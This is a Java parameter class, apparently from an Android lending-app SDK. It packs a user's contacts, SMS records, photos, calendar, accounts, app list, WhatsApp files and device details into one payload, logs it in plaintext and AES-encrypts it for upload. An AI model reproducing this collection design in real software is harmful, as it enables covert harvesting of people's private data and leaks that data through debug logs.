package com.zhi.syc.data.services;

import com.google.gson.Gson;
import com.zhi.syc.data.ASBuilder;
import com.zhi.syc.data.beans.ASCotInfoBean;
import com.zhi.syc.data.beans.ASDeviceInfoBean;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.util.AESCryptUtilJar;
import com.zhi.syc.data.util.ASUtil;

import java.util.List;

public class ASNetParams {
    public String path;

    public String appId;

    public String token;

    public String product;

    public String packageName;

    public String transactionId;

    public String borrowId;

    public String type;

    public String userPhone;

    public String version = "40";

    public String client = "ANDROID";

    public ASDeviceInfoBean deviceInfo;

    public String appListGzip;

    public List<ASCotInfoBean> contacts;

    public String smsRecordsGzip;
    public String smsFetchType;

    public String userImagesGzip;

    public String deviceHardwareGzip;

    public String deviceStorageGzip;

    public String deviceWifiGzip;

    public String deviceBatteryGzip;

    public String deviceMediaGzip;

    /**
     * Zip String
     */
    public String bookList;

    /**
     * Zip String
     */
    public String phoneBooksGzip;

    /**
     * Zip String
     */
    public String calendarGzip;

    /**
     * Zip String
     */
    public String settingAccountGzip;

    /**
     * Zip String
     */
    public String whatsAppFilesGzip;

    public ASNetParams() {
        this.appId = ASBuilder.APPID;
        this.product = ASBuilder.KEY_PRODUCT;
        this.token = ASBuilder.KEY_TOKEN;
    }

    public String getType() {
        return this.type;
    }

    public void setType(String paramString) {
        this.type = paramString;
    }

    public void setBorrowId(String paramString) {
        this.borrowId = paramString;
    }


    public void setUserPhone(String paramString) {
        this.userPhone = paramString;
    }

    public void setTransactionId(String paramString) {
        this.transactionId = paramString;
    }

    public void setVersion(String paramString) {
        this.version = paramString;
    }


    public void setToken(String token) {
        this.token = token;
    }

    public void setPackageName(String paramString) {
        this.packageName = paramString;
    }

    public void setDeviceInfo(ASDeviceInfoBean deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public void setAppListGzip(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public void setContacts(List<ASCotInfoBean> contacts) {
        this.contacts = contacts;
    }

    public void setSmsRecordsGzip(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public void setUserImagesGzip(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public void setBookList(String bookList) {
        this.bookList = bookList;
    }

    public void setPhoneBooksGzip(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public void setClient(String client) {
        this.client = client;
    }

    public void setDeviceHardwareGzip(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public void setDeviceStorageGzip(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public void setDeviceWifiGzip(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public void setDeviceBatteryGzip(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public void setDeviceMediaGzip(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public void setSmsFetchType(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public void setAppId(String appId) {
        this.appId = appId;
    }


    public void setProduct(String product) {
        this.product = product;
    }


    public void setCalendarGzip(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }


    public void setSettingAccountGzip(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }


    public void setWhatsAppFilesGzip(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    /**
     * 生成加密参数
     */
    public String toEncryptParams(String gPath) {
        // 只取链接最后一个/部分，不带/号
        this.path = ASUtil.lastPathForUrl(gPath);

        String content = new Gson().toJson(this).trim();
        ASLogger.d(this.getClass().getSimpleName(), "aes before：\n" + content);

        String result = AESCryptUtilJar.encryptDefault(content);
        ASLogger.d(this.getClass().getSimpleName(), "aes after：\n" + result);
        return result;
    }
}
